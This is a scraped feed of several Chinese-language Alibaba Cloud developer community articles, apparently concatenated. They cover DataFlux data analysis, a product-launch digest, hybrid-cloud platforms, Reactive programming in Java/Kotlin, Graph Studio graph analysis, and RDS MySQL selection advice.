         利用DataFlux.f(x),它是DataFlux 附带的基于Python 3的可编程数据处理组件,主要目的在于进一步拓展DataFlux在数据处理、展示方面的能力,在统一的平台上实现针对不同场景、行业、领域的专业化进阶功能。
         资产分析
        image.png

         可出售量分析
        image.png

        并且可以配置自动触发设置,如下:
        image.png

        4、 告警触发设置
        image.png

         “体温超标“触发规则设置步骤
        image.png

        采用钉钉告警:
        image.png

         “猪粮比超限”触发规则设置步骤
        image.png
        image.png

        五、 总结
        本文首先介绍了DataMock生成养猪场模拟数据,然后基于DataFlux进行养猪场数据实时分析。初步熟悉了这两个产品的情况下,1天即可完成全流程的模拟和分析,DataFlux具有门槛低、速度快、实时性强、功能全面的特点。
        image.png

        ]]>
        阿里云新品发布会周刊第43期 丨 战疫期间,钉钉如何抗住暴增的百倍流量?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 点击订阅新品发布会

        新产品、新版本、新技术、新功能、价格调整,评论在下方,下期更新!关注更多新品发布会!


        热门阅读

        1、 战疫期间,钉钉如何抗住暴增的百倍流量?

        9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

        疫情期间,在线教育、在线办公需求持续井喷,钉钉作为很多企业首选的在线办公软件,用户量激增,特别是钉钉视频会议、直播的需求随之飙升。同时,钉钉为了响应教育部门“停课不停学”的号召,宣布老师们可以免费试用钉钉在线课堂。 查看原文

        2、我在阿里做中后台开发
        img

        近些年来热度不断攀升,比如 AWS 在 C9 的实践、开源届比较出名的 TheiaJS,到后起之秀 code-server、行业佼佼者 VS Online 等。我个人以及我们团队对于「开发流程在线化」也做了较为深入的探索实践,从开始的懵懂迷茫到现在的目标清晰。 查看原文

        3、阿里云交互式分析与Presto对比分析及使用注意事项
        img

        文章首先介绍了Presto以及它的应用场景、特点、架构和原理、数据模型、数据类型,并且以Presto数据查询作为实例。然后介绍了阿里云交互式分析,同时列举了它的优势和典型应用场景,对权限、数据类型、实例对象层级进行讲解,并且对交互式分析的两大场景进行实践分析,列举了几种表的特征设置,以阿里云交互式分析开发作为示例展示其过程。最后,概括性的总结了阿里云交互式分析与Presto的区别。 查看原文

        4、 15秒预警 阿里云“消控宝” 打通消防“生命通道”

        1

        消防法规定,任何单位、个人不得占用、堵塞、封闭疏散通道、安全出口、消防通道;单位违反规定可处5000元以上5万元以下罚款。一旦发生火灾,消防车救援通道被堵,造成巨大的财务损失,人身安全也将受到威胁,消防管理责任人将承担沉重的法律责任。低成本、智能化的方式监管、解决消防通道占用问题是刚需! 查看原文

        5、阿里云混合云管理平台正式发布,简化混合云管理提升使用体验

        6、助力在线教育,阿里云推出百万专项扶持基金计划


        精品直播

        第84期:Redis企业版 & 专享主机组新品发布会

        直播时间:2020年3月11日 15:00-16:30 活动页面 预约观看

        50a9125d8c0d4c479cf6284fbdf3459c.jpg

        一个冲击响应或慢查询就可导致Redis社区版连接数雪崩?单分片处理能力有限,无法满足跨地域分布式缓存需求?本场直播将为您深度解读,经过阿里集团十年技术沉淀,历经数次双11大考和核心业务场景应用的Redis企业版,如何实现三倍于Redis社区版的性能提升。同时,也将为您带来标志着商业创新和技术突破的Redis专享主机组形态,如何解决规模化集群管理、客户级别资源隔离和定制化管控需求。

        第85期:解决方案体验中心SEC重磅发布

        直播时间:2020年3月18日 15:00-16:00 活动页面 预约观看

        077dd47817124980a837a0828b9d7d34.jpg

        想了解一个解决方案的更多细节, 图文介绍限制了想象力怎么办? 线下Demo不能随时随地体验怎么办? 阿里云全新打造的线上解决方案深度体验平台SEC将给您带来7*24小时在线的一站式解决方案新体验。本次直播将进行SEC的发布跟全面介绍, 并通过SEC平台深度展示跟介绍阿里云智慧教学解决方案。


        往期回顾

        第83期:阿里云混合云管理平台重磅发布 活动页面 直播视频

        混合云管理平台是面向混合云场景的一体化企业级运营管理平台,提供对公有云,私有云和混合云统一的集成管理,从关注应用、敏捷应变、优化成本出发,提供简单、智能、开放的云管平台,让客户更好的管理云环境,获得更好的运维管理体验。

        第82期:阿里云视觉智能开放平台发布会 活动页面 直播视频

        视觉智能技术作为AI落地最广的技术之一如今已应用在社会的各个角落,包括人脸人体,文字识别,商品识别,视频理解,内容安全等等耳熟能详的应用。视觉能力赋予了计算机感知世界的能力,如今随着技术的发展,视觉计算正逐渐从感知走向认知。阿里巴巴经济体在这一块投入了大量的资源和长期的努力(包括达摩院),研发并应用了众多优质的视觉能力,形成了体系化的视觉智能技术,这些能力在经济体上诸多明星应用上发挥价值,包括淘宝、天猫、支付宝、优酷等。如今,阿里云将这些在明星产品和解决方案中得以锤炼过的视觉API原子能力公开,帮助企业和开发者高效研发,创造更多,更强的视觉智能应用。

        第81期:阿里云云服务器ECS共享标准型S6线上发布会 活动页面 直播视频

        共享标准型S6型是阿里云云服务器ECS推出的最新一代共享型云服务器。产品基于最新一代Intel Cascade Lake处理器,主频提升至最高3.2Ghz,依托阿里云神龙架构,相比上一代共享实例性能峰值大幅提升。同时,相比上一代的共享型实例,共享标准型S6同等规格价格降幅最高达到42%,大大提升了产品的性价比,全面降低了中小企业上云的成本。共享标准型S6型适合搭建中小型网站和Web应用程序,搭建轻量级数据库、缓存服务,以及轻量级企业应用、综合应用服务等。本次发布会将会为您详细介绍共享标准型S6的产品特性以及背后的产品设计思考。

        第80期:移动开发平台mPaaS重磅发布 活动页面 直播视频

        快速构建一款 App 并不难,但如何从容应对复杂机型及系统版本,构建快速迭代的端上架构,实现动态更新、稳定流畅的应用移动开发者的核心课题。围绕支付宝在移动端如何实现轻耦合、弹性动态的开发模式,深度解析其技术选型及实战经验。

        第79期:RDS专属主机组和ECS专有宿主机联合发布会 活动页面 直播视频

        由分配RDS实例,支持超额分配CPU;为企业数据库提供一站式精细化管理解决方案。


        技术干货

        1、轻松构建基于 Serverless 架构的小程序

        TB1zHEEvHj1gK0jSZFuXXcrHpXa-4816-1072.png

        自 2017 年第一批小程序上线以来,越来越多的移动端应用以小程序的形式呈现。小程序拥有触手可及、用完即走的优点,这大大降低了用户的使用负担,使小程序得到了广泛的传播。在阿里巴巴,小程序也被广泛地应用在淘宝/支付宝/钉钉/高德等平台上。 查看原文

        2、日均万亿条数据如何处理?爱奇艺实时计算平台这样做

        a7aba3e9f7af4fe182b3f5cbb518deb0.png

        本文由爱奇艺大数据服务负责人梁建煌分享,介绍爱奇艺如何基于 Apache Flink 技术打造实时计算平台,并通过业务应用案例分享帮助用户了解 Apache Flink 的技术特点及应用场景 查看原文

        3、Serverless 掀起新的前端技术变革

        4、Data Lake 三剑客——Delta、Hudi、Iceberg 对比分析

        5、阿里云混合云管理平台发布,助力企业管好云


        产品动态

        新产品:

        数据总线 - 数据总线DataHub公测发布 产品文档

        阿里云流数据处理平台DataHub是流式数据(Streaming Data)的处理平台,提供对流式数据的发布(Publish),订阅(Subscribe)和分发功能,让您可以轻松构建基于流式数据的分析和应用。DataHub服务可以对各种移动设备,应用软件,网站服务,传感器等产生的大量流式数据进行持续不断的采集,存储和处理。您可以编写应用程序或者使用实时计算引擎来处理写入到DataHub的流式数据,比如:实时web访问日志、应用日志、各种事件等,并产出各种实时的数据处理结果,比如:实时图表、报警信息、实时统计等。

        新功能/版本:

        1、 物联网平台 查看文档

        • 支持全量设备广播 - 支持向指定产品的全量在线设备推送广播消息,每分钟可发送1次全量广播消息。
        • 固件升级支持设备多模块升级 - 添加固件时可以指定模块名,模块名在升级时会下发给设备,方便设备区分不同模块的不同固件版本。
        • 数据解析脚本支持PHP语言 - 数据解析脚本支持PHP 7.2,目前已支持JS、Python、PHP 3种语言。
        • 固件升级支持批量取消升级任务 - 支持在控制台一次性取消升级批次或批次内所有设备的固件升级任务。
        • 实时监控优化调整 - 实时监控支持自定义时间范围选择,以及调整消息量计算方式。

        2、 视觉智能开放平台 - 视觉智能开放平台23种新AI算法服务发布 产品文档

        视觉智能开放平台最新上线23种AI算法服务,涉及人脸人体、内容安全、图像识别、图像分割、图像增强、目标检测五大类目。

        3、 云解析DNS - 阿里云基础设施工具-IP地理位置库(商业化)发布 查看产品

        IP地理位置库 产品目前发布支持对IPv6地址的地理位置信息查询,支持通过API方式查询IPv6地址地理位置信息,产品在线API性能QPS最高可达5000,日调用量最大可上千万级别。服务采用包年包月预付费方式收费,可根据业务量需求按需选择合适的版本。

        价格跳帧:

        智能语音交互 - 公共云试用版免费策略调整 查看产品 产品文档

        公共云试用版免费策略调整为如下规则: 一句话识别、实时语音识别、语音合成3个接口在3个月内可免费使用,单个接口限制最高2个并发,不限制每个自然日内使用量;录音文件识别接口在3个月内可免费使用,每个自然日识别时长不超过2小时。


        3月采购季特惠

        102354402a5946aca8b51c3069de1839.jpg

        点击领取大礼包


        资料下载

        首发|《Apache Flink 年度最佳实践》,揭秘一线大厂实时平台构建实践
        简介:《Apache Flink 年度最佳实践》公开下载啦!首次一次性公布来自B站、美团点评、小米、快手、菜鸟、Lyft、Netflix 等精彩内容,9篇深度文章揭秘一线大厂实时平台构建实践。不容错过的精品电子书,大数据工程师必读实战“真经”!

        Flink 作为业界公认为最好的流计算引擎,不仅仅局限于做流处理,而是一套兼具流、批、机器学习等多种计算功能的大数据引擎,,并成为阿里、腾讯、滴滴、美团、字节跳动、Netflix、Lyft 等国内外知名公司建设实时计算平台的首选。

        2020 首册 Apache Flink 年度最佳实践电子书来啦!甄选 Apache Flink 及大数据领域顶级盛会 Flink Forward Asia 大会嘉宾精彩分享,覆盖国内外一线大厂实时平台构建的经验分享与实时数仓的应用实践,为你揭秘实时计算平台从无到有到有、持续优化的详细细节!


        扫描二维码加入社区圈

        5555

        ]]>
        各大公有云服务商的混合云技术底座-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 除了阿里云的飞天,其他公有云服务商的混合云底座是什么样的?其本质都是好将公有云技术架构延伸到私有云,在用户自己的数据中心部署一套与公有云同样架构的云。因为技术的一致性,很容易打造混合云的方案
        本文归集了AWS、阿里云、Google、IBM、微软、Oracle五家混合云方案,并进行了简单介绍。
        一、 AWS
         名称:AWS Outposts
         AWS Outposts是将AWS的基础架构和运营模型本地化,在企业内部部署和AWS中使用相同的API、工具、硬件,以及功能,实现真正一致的混合体验。
         将AWS品牌的硬件引入传统数据中心,
        二、 阿里云
         名称:飞天(Apsara Stack)
          Apsara Stack 是面向中大型企业客户的全栈专有云,基于阿里云公用云长期实战经验积累的原生分布式架构。Apsara Stack 的技术核心是由阿里云公用云长期实战经验积累而来,是全球广大使用者高压验证过的稳定原生架构。支持企业客户在自己的数据中心部署全面的阿里云服务,让在本地运行与阿里云公用云同款的超大规模云端运算成为可能。并同时满足政企机构的安全合规、数据主权、或本地化体验等建设需求。
        三、 Google
         GKE On-Prem
         GKE On-Prem,旨在为企业客户提供一种立足内部与公有云端的应用程序基础设施统一管理方式,以供用户在自有数据中心内运行。
        四、 微软
         名称:Azure Stack
         一种 Azure 扩展,用于跨数据中心、边缘、位置、远程 Office 和云一致地生成和运行混合应用程序。使用此产品组合,用户可以跨位置边界一致地构建、部署和运行混合和边缘计算应用程序,从而提供更多选择和灵活性,以解决各种工作负载。
        五、 Oracle
         名称:Oracle Linux Cloud Native Framework
         是一套云端原生应用开发框架。底层以Oracle OKE为基础。包括Oracle Linux云本机环境和Oracle云本机服务。Oracle Linux Cloud原生环境是一组精选自CNCF项目的开源软件,如Kubernetes、Docker、Kata Containers、Gluster等。可以在本地或云中开发基于微服务的应用程序。然后,内部微服务可以使用其容器映像移植到云中,反之亦然。还可以使用VirtualBox创建一个在虚拟机中运行容器的环境,然后可以将该环境导出到Oracle云。
        六、 IBM
         IBM Cloud Private
         IBM Cloud™ Private 是一个可靠且可扩展的云平台,可在用户自己的基础架构上运行。它在容器、Kubernetes 和 Cloud Foundry 等开源框架的基础上构建。此外,它还提供面向自助服务部署、监控、日志记录和安全性的通用服务,以及包含中间件、数据和分析的产品组合。

        ]]>
        Reactive架构才是未来-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 背景

        最近一些同学在使用CSE Fn(Faas 平台)过程中, 经常会询问Reactive编程模型的价值, 原理以及如何正确使用它。所以根据前段时间的学习、使用经历,整理了这篇文章。这篇文章不会讲解如果使用相关的API,主要讲解它的概念,规范,价值,原理。如有理解不对的地方,欢迎斧正.

        Reactive和Reactive programming

        Reactive直接翻译的意思式反应式,反应性. 咋一看,似乎不太好懂。
        举个例子: 在Excel里,C单元格上设置函数: Sum(A+B). 当你改变单元格A或者单元格B的数值时,单元格C的值同时也会发生变化. 这种行为就是Reactive.

        在计算机编程领域, Reactive一般指的是Reactive programming. 指的是一种面向数据流并传播事件的异步编程范式(asynchronous programming paradigm).

        先举个例子大家感受一下:

        public static void main(String[] args) {
                FluxProcessor<Integer, Integer> publisher = UnicastProcessor.create();
                publisher.doOnNext(event -> System.out.println("receive event: " + event)).subscribe();
        
                publisher.onNext(1); // print 'receive event: 1'
                publisher.onNext(2); // print 'receive event: 2'
        }

        (代码1)

        以上例代码(使用Reactor类库)为例, publisher产生了数据流(1,2), 并且传播给了OnNext事件, 上例中lambda响应了该事件,输出了相应的信息. 上例代码中生成数据流和注册/执行lambda是在同一线程中,但也可以在不同线程中.

        注: 如果上述代码执行逻辑有些疑惑,可以暂时将lambda理解成callback就可以了.

        Reactive Manifesto

        对于Reactive现在你应该大致有一点感觉了,但是Reactive有什么价值, 有哪些设计原则, 估计你还是有些模糊. 这就是Reactive Manifesto要解决的疑问了.

        使用Reactive方式构建的系统具有以下特征:

        即时响应性(Responsive): :只要有可能, 系统就会及时地做出响应。 即时响应是可用性和实用性的基石, 而更加重要的是,即时响应意味着可以快速地检测到问题并且有效地对其进行处理。 即时响应的系统专注于提供快速而一致的响应时间, 确立可靠的反馈上限, 以提供一致的服务质量。 这种一致的行为转而将简化错误处理、 建立最终用户的信任并促使用户与系统作进一步的互动。

        回弹性(Resilient):系统在出现失败时依然保持即时响应性。 这不仅适用于高可用的、 任务关键型系统——任何不具备回弹性的系统都将会在发生失败之后丢失即时响应性。 回弹性是通过复制、 遏制、 隔离以及委托来实现的。 失败的扩散被遏制在了每个组件内部, 与其他组件相互隔离, 从而确保系统某部分的失败不会危及整个系统,并能独立恢复。 每个组件的恢复都被委托给了另一个(外部的)组件, 此外,在必要时可以通过复制来保证高可用性。 (因此)组件的客户端不再承担组件失败的处理。

        弹性(Elastic): 系统在不断变化的工作负载之下依然保持即时响应性。 反应式系统可以对输入(负载)的速率变化做出反应,比如通过增加或者减少被分配用于服务这些输入(负载)的资源。 这意味着设计上并没有争用点和中央瓶颈, 得以进行组件的分片或者复制, 并在它们之间分布输入(负载)。 通过提供相关的实时性能指标, 反应式系统能支持预测式以及反应式的伸缩算法。 这些系统可以在常规的硬件以及软件平台上实现成本高效的弹性。

        消息驱动(Message Driven):反应式系统依赖异步的消息传递,从而确保了松耦合、隔离、位置透明的组件之间有着明确边界。 这一边界还提供了将失败作为消息委托出去的手段。 使用显式的消息传递,可以通过在系统中塑造并监视消息流队列, 并在必要时应用回压, 从而实现负载管理、 弹性以及流量控制。 使用位置透明的消息传递作为通信的手段, 使得跨集群或者在单个主机中使用相同的结构成分和语义来管理失败成为了可能。 非阻塞的通信使得接收者可以只在活动时才消耗资源, 从而减少系统开销。

        reactive_ manifesto.png

        注:

        1. 上面描述有很多专有名词, 可能有些疑惑,可以看下相关名词解释
        2. 为什么使用Reactive方式构建的系统会具有以上价值, 我稍后在Reactor章节中介绍

        Reactive Stream

        知道了Reactive的概念,特征和价值后,是否有相关的产品或者框架来帮助我们构建Reactive式系统呢?在早些时候有一些类库(Rxjava 1.x, Rx.Net)可以使用,但是规范并不统一,所以后来Netfilx, Pivotal等公司就制定了一套规范指导大家便于实现它(该规范也是受到早期产品的启发),这就是Reactive Stream的作用。

        Reactive Stream是一个使用非阻塞back pressure(回压)实现异步流式数据处理的标准. 目前已经在JVMJavaScript语言中实现同一套语意的规范; 以及尝试在各种涉及到序列化和反序列化的传输协议(TCP, UDP, HTTP and WebSockets)基础上,定义传输reactive数据流的网络协议.

        The purpose of Reactive Streams is to provide a standard for asynchronous stream processing with non-blocking backpressure.

        • Reactive Streams解决的问题场景: 当遇到未预料数据流时,依然可以在可控资源消耗下保持系统的可用性.
        • Reactive Streams的目标: 控制在一个异步边界的流式数据交换。例如传递一个数据到另外一个线程或者线程池, 确保接收方没有buffer(缓存)任意数量的数据.而back pressure(回压)是解决这种场景的不可或缺的特性
        • Reactive Streams规范适用范围: 此标准只描述通过回压来实现异步流式数据交换的必要的行为和实体,最小接口, 例如下方的Publisher, Subscriber。Reactive Streams只关注在这些组件之间的流式数据中转, 并不关注流式数据本身的组装,分割,转换等行为, 例如 map, zip等operator.
        • Reactive Streams规范包括:

          • Publisher: 产生一个数据流(可能包含无限数据), Subscriber们可以根据它们的需要消费这些数据.
        1. interface Publisher {

          public void subscribe(Subscriber<? super T> s);

          }

          * **Subscriber**: Publisher创建的元素的接收者. 监听指定的事件,例如OnNext,OnComplete,OnError等
          
        2. interface Subscriber {

          public void onSubscribe(Subscription s);
          public void onNext(T t);
          public void onError(Throwable t);
          public void onComplete();

          }

          
          * **Subscription**: 是Publisher和Subscriber一对一的协调对象. Subscriber可以通过它来向Publisher取消数据发送或者request更多数据.
          
        3. interface Subscription {

          public void request(long n);
          public void cancel();

          }

        * **Processor**: 同时具备Publisher和Subscriber特征. 代码1中FluxProcessor既可以发送数据(OnNext),也可以接收数据(doOnNext).
        
        public interface Processor<T, R> extends Subscriber<T>, Publisher<R> {
        }

        为什么规范强调使用非阻塞异步方式而不是阻塞同步方式?

        • 同步方式一般通过多线程来提高性能, 但系统可创建的线程数是有限的, 且线程多以后造成线程切换开销
        • 同步方式很难进一步提升资源利用率
        • 同步调用依赖的系统出现问题时,自身稳定性也会受到影响

        实现非阻塞的方式有很多种,为什么规范会选择上述的实现方式呢?

        • Thread

          • thread不是非常轻量(相比下面几种实现方案)
          • thread数量是有限的, 最终可能会成为主要瓶颈
          • 有一些平台可能不支持多线程. 例如: JavaScript
          • 调试,实现上有一定复杂性
        • Callback

          • 多层嵌套callback比较复杂,容易形成"圣诞树"(callback hell)
          • 错误处理比较复杂
          • 多用于event loop架构的语言中, 例如JavaScript
        • Future

          • 无法逻辑组合各种行为, 支持业务场景有限.
          • 错误处理依然复杂
        • Reactive Extensions(Rx)

          • 和Future很相似。Future可以认为返回一个独立的元素, 而Rx返回一个可以被订阅的Stream.
          • 多平台支持同一套规范
          • 同一套API同时支持异步、同步
          • 错误处理方便
        • Coroutines

          • kotlin coroutinegoroutine在语法层面上提供异步支持, 而且比Rx更简洁,但无法跨多个语言平台形成统一的规范。

        Reactive的实现原理个人认为还是回调,kotlin协程实现原理同样也是回调。但实现回掉的方式不一样。一个是通过事件传播, 一个是通过状态机.但cooutine编程的易用性明显强于Rx, 后面有空我会专门写篇文章介绍kotlin coroutine的实现原理.

        Reactor

        有了Reactive Stream这个规范,就会有相应实现该规范的类库. Reactor就是其中之一。

        Reactor是遵守Reactive Stream规范构建非阻塞应用的Java语言Reactive类库, 已经在spring 5中集成, 与他相似的类库有RxJava2, RxJs, JDK9 Flow等。

        CSE Fn目前使用Reactor来构建整个系统,包括函数应用和各种核心应用(逻辑架构). 根据我们压测结果显示, 使用Reactive方式构建的系统确实会有这些特点:

        • 回弹性(Resilient): 当函数出现严重超时时(rt>=10s),函数上游的broker,gateway应用几乎无任何影响.
        • 及时响应性: 不管是高并发场景(资源足够),还是正常场景,RT表现一致.

        另外从原理上,我认为资源利用率吞吐量也会高于非反应式的应用.

        为什么Reactive的架构系统有这些特点?

        CSE Fn主要做了两件事情:

        1. 涉及到IO的地方几乎全异步化。例如中间件(HSF, MetaQ等提供异步API)调用
        2. IO线程模型变化. 使用较少(一般CPU核数)线程处理所有的请求

        传统Java应用IO线程模型: 参考Netty中Reactor IO(worker thread pool)模型, 下方伪代码(kotlin)进行了简化。

        Screen Shot 2019-08-30 at 12.49.32 PM.png

        // 非阻塞读取客户端请求数据(in), 读取成功后执行lambda.
        inChannel.read(in) {
            workerThreadPool.execute{
              // 阻塞处理业务逻辑(process), 业务逻辑在worker线程池中执行,同步执行完后,再向客户端返回输出(out)
              val out = process(in)
              outChannel.write(out)
            }  
        }

        Reactive应用IO线程模型: IO线程也可以执行业务逻辑(process), 可以不需要worker线程池
        Screen Shot 2019-08-30 at 12.50.36 PM.png

        // 非阻塞读取客户端请求数据(in), 读取成功后执行lambda
        inChannel.read(in) {
            // IO线程执行业务逻辑(process),  然后向客户端返回输出(out). 这要求业务处理流程必须是非阻塞的.
            process(in){ out->
                outChannel.write(out) {
                    // this lambda is executed when the writing completes
                ...
                }
            }
        }

        如何开始Reactive Programing

        以Reactive方式构建的系统有很多值得学习和发挥价值的地方,但坦白讲Reactive programing方式目前接受程度并不高.特别是使用Java语言开发同学,我个人也感同身受,因为这和Java面向命令控制流程的编程思维方式有较大差异。所以这里以Reactor(Java)学习为例:

        总结

        反应式的系统有很多优点,但是完整构建反应式的系统却并不容易。不仅仅是语言上的差异,还有一些组件就不支持非阻塞式的调用方式,例如: JDBC. 但是有一些开源组织正在推动这些技术进行革新, 例如: R2DBC。 另外,为了方便构建反应式系统,一些组织/个人适配了一些主流技术组件reactor-core, reactor-netty, reactor-rabbimq, reactor-kafka等,来方便完整构建反应式系统。

        当你的系统从底层到上层,从系统内部到依赖外部都变成了反应式, 这就形成了Reactive架构.
        这种架构价值有多大?未来可期.

        参考

        https://www.reactivemanifesto.org/
        https://www.reactive-streams.org/
        https://kotlinlang.org/docs/tutorials/coroutines/async-programming.html
        https://projectreactor.io/docs/core/release/reference/index.html

        ]]>
        Graph Studio中的图分析-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        Graph Studio是阿里云DataWorks旗下的基于Graph Compute引擎打造的一站式图研发平台,旨在以简单易用的方式帮忙用户用户完成实例建模、数据导入、数据查询、可视化分析、实例运维等一系列图相关的工作。目前Graph Studio已经阿里云开启公测,欢迎感兴趣的同学申请试用

        1. 背景

        跟普通的数据可视化略有差异,图可视化非常强调交互性(可分析性)。无论是在图算法开发阶段还是在图产品落地阶段图可视化分析都占有非常大的比重。在Graph Studio V1.0的版本里我们的关注点更多是投入在图算法开发阶段,主要提供了两种分析能力:通过Gremlin Terminal进行交互式分析的能力,通过Gremlin查询结果可视化以及结果的二次分析的能力。但是在实际使用过程中我们发现通过这两种方式进行图相关分析工作还是会遇到一些问题: 

        • 分析过程不具有渐进性

        剑桥情报出品的Visualizing  cyber security threats as networks 讲过一个检测异常登录的分析过程:首先加载数据到分析引擎中,通过颜色/ICON对图中数据进行区分,概览数据找到有大量IP登录的账户,通过筛选器/放大器定位到异常账号,查看异常账号,根据异常账号关联的IP Location信息判断该登录是否具有异常性。
        在Graph Studio V1.0中我们把大部分精力都投入在关注用户查询的结果可读性,虽然可视化查询部分的节点右键提供了简单的节点扩散能力,但是缺乏一些常用的渐进式分析手段如节点过滤、关联点高亮、关联边高亮、扩散预判、多场景布局等。

        • 较高的上手成本

        底层图引擎都会提供一套图分析DSL进行图中数据分析,比如Graph Studio依赖的Graph Compute提供了一套Gremlin实现规范。但是基于DSL的分析还是区分一定的上手友好性和分析友好性。新手分析师不得不投入一定的时间学习使用Gremin查询语言。即使掌握了Gremlin语言,在分析过程中也需要不断调整Gremin语言,以期获得想要得到的分析结果

        • 分析结果缺乏交互性

        下图呈现的是Graph StudioV1.0中图分析结果的截图。分析师的分析结果只能通过截图的方式分享到第三方,第三方只能通过获取分析师提供的有限的分析信息,更多有用的信息比如节点边中隐藏信息没有合理的方式呈现。
        image.png

        • 分析过程开发难度高

        在Graph Studio中除了图分析师之外,还有一类用户就是图应用的开发者。这类用户往往需要他们的应用领域中嵌入一个图分析模块协助用户一定的数据分析。而这往往需要专业领域前端开发投入大量时间才能够达到预期效果。

        2. 新尝试

        最近我们在Graph Studio V2.0中提供了一个全新的图分析模块来尝试解决上述图分析过程中遇到的问题。

        2.1 易用的渐进式图分析

        • 支持边/点级检索能力。

        可以通过简单的表单操作筛选出自己想要进行分析的点/边加入到图中进行二次分析;分析过程中也支持二次搜索增加信息量;灵活的筛选能力和专业定制的高效布局算法也能避免”Hair Ball“问题。另外更多高级检索比如路径检索、Gremlin检索、Graph Compute内置算法检索 等也在排期开发中。
        graph-analyser-search.gif

        • 支持关系扩散/关系收起。

        可以通过内置的扩展操作完成关系扩散分析,通过收起操作完成非重点结果的隐藏
        graph-analyser-extend.gif

        • 支持点/边预览。

        提供简单有效的方式查看点/边包含的更多信息;提供下游节点分布信息帮助用户在关系扩散前提供更多有效信息;通过配置面板过滤的能力帮助分析师筛选出他们感兴趣的信息
        graph-analyser-preview.gif

        • 支持点/边高亮,隐藏

        graph-analyser-highlight.gif

        • 支持点/边个性化定制

        graph-analyser-facade.gif

        • 多套节点主题切换

        我们的设计师精心设计了多套节点主题,以应对用户的不同需求。当然也可以通过插件机制定制开发自己的节点,详见后续文章。
        graph-analyser-theme.gif

        • 多套高效布局方案, 满足不同的呈现需求

        我们也提供了力导布局,径向布局,圆形布局,同心圆布局,横纵布局,有向分层六套深入优化后的布局算法,从布局层面保障图的可读性;同时提供用户拖拽节点的方式进行局部微调从而达到用户想要的展示效果。
        graph-analyser-layout.gif

        • 当然我们也提供放大缩小,拖拽,全屏等基本的图操作方式。
        • 另外我们还内置全局数据分布图帮助用户了解他的数据;同时还提供了Excel方式查看当前分析结果中的原始结果辅助用户跟进数据更好的决策

        graph-analyser-global.gif

        2.2 分析结果外嵌

        对于分析结果外嵌的能力,目前我主要提供两种方式

        1. 保留了传统的分析结果导出为PNG的外嵌方式

        image.png

        1. 新增通过标签分析结果外迁到第三方应用的能力。外嵌的页面具有一定的交互能力,但是不具有节点数据调整能力(如搜索,关系扩散)。这样用户可以使用一种安全可控的方式把图中更多的信息呈现出来。

        image.png

        2.3 分析能力外嵌

        • 同时对于第三方应用开发者,Graph Studio V2.0的图分析模块保留了产品外嵌能力,使用Graph Compute和Graph Studio的三方开发者可以通过引入一个React组件的方式直接把分析能力嵌入到他们自己的产品中。
        export default function GraphAnalyser() {
          const { instanceId, id } = useParams();
          const plugins = usePlugins();
          const options = useOptions();
          const [core, onReady] = useOnDataReady();
        
          return (
            <GraphAnalyserComponent
              instanceId={instanceId}
              id={id}
              plugins={plugins}
              options={options}
              onReady={onReady}
            />
          );
        }
        • 同时图分析模块保留了一定的定制能力。开发者可以根据实际需求,通过插件方式定制自己的搜索面板、预览面板,统计面板、节点样式、布局等能力;同时提供Options的进行页面结构微调。

        3. 总结

        上述就是我们在Graph Studio上对于图分析领域做的思考。当然目前我们在图分析领域也仅仅是个起步,真正下沉到业务中我们还有更多的事情需要做,比如千万级节点渲染,时序分析的支持,GEO分析支持等高级图分析技术,那也欢迎赶兴趣的同学一起建设。

        招聘,招聘:https://zhuanlan.zhihu.com/p/83227529

        ]]>
        阿里云RDS MySQL版 使用最佳实践-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 如何选购RDS MySQL

        目前使用MySQL,首推使用云盘版(ESSD云盘),虽然在磁盘读写RT上较本地盘差了一些,从而导致跑分软件跑出的数据不太好看,但是云盘有着诸多天然优势:

        使用云盘还是本地盘?

        备份 && 恢复

        云盘(SSD云盘、ESSD云盘):
        由于云盘天然支持使用快照进行数据备份,可以做到几百G乃至上T的数据都可以在几分钟内完成备份,同样基于备份进行数据还原(克隆实例),也可以超快的完成。
        再来看看本地盘:
        本地盘由于无法采用快照备份,为了保证备份的可靠性,备份也不能存储到本地,当前是将备份不落地直接备份传输到OSS存储,通常备份到OSS一个3T的实例就需要1天以上来备份了,同样如果需要恢复,虽然比起备份会快些,差不多也要大半天了,假如数据出现问题,一般是非常着急的场景,#如果采用云盘,可以大大节省宝贵的救火时间#。
        还有另外一个问题,由于使用xtrabackup备份,会需要将所有的库表文件打开,受限于操作系统,能同时打开的文件句柄是有限的,假如我们库里有60万以上的表,那么很有可能无法完成备份。假如长时间不备份,数据的风险不言而喻!

        性能

        本地盘相较于云盘来说,由于IO操作不经过网络,所以RT上来说一定是本地盘更好。但是IOPS可不一定哦~
        ESSD云盘是SSD云盘的升级版,相较于SSD云盘来说,ESSD的存储系统内部采用了更高效的通信机制,从而使得ESSD云盘有了质的飞跃!ESSD PL1级别性能和SSD云盘相差不大,但是当达到PL2甚至PL3级别时,性能可以说是突飞猛进。其中PL3级别IOPS最高可达1000000;我们本地盘的版本独占物理机最高IOPS也只能达到144000,相较于PL2级别的云盘稍高一些。

        单机版

        首先,重要的事情说三遍!不建议使用单机版作为生产环境!不建议使用单机版作为生产环境!不建议使用单机版作为生产环境!
        为什么呢?从成本考虑单机版确实可以节省一大笔开销,但是受限于单机版的架构,在发生故障时,单机版是无法快速恢复的!所以同样的单机版的SLA保障很低!
        单机版一般来说,只建议作为开发调试,或者是测试环境使用!

        高可用版

        作为生产环境标配版本,兼顾成本和可用性,在大部分场景下推荐使用此版本!当前主可用区功能已经上线,实例默认创建在同城双机房,实现跨机房容灾能力!
        image.png

        三节点企业版

        推荐金融领域的产品使用该产品,由于对内核进行了深度改造,采用了大名鼎鼎Paxos一致性协议保证了RPO(Recovery Point Object)=0,即在任何使用场景都不会丢失数据,可靠性非常高!
        同城三机房部署,具备跨可用区容灾能力。还可以搭配异地灾备实例满足两地三中心的容灾要求。
        想了解更多三节点企业版的优势,可以到阿里云官网查看相关介绍哦~
        image.png

        使用RDS的注意事项

        实例卡慢,重启实例能立马解决?

        大部分情况下,重启实例都不能解决实例卡慢的问题!大部分情况下,重启实例都不能解决实例卡慢的问题!大部分情况下,重启实例都不能解决实例卡慢的问题!
        重要的事情还是要说三遍!
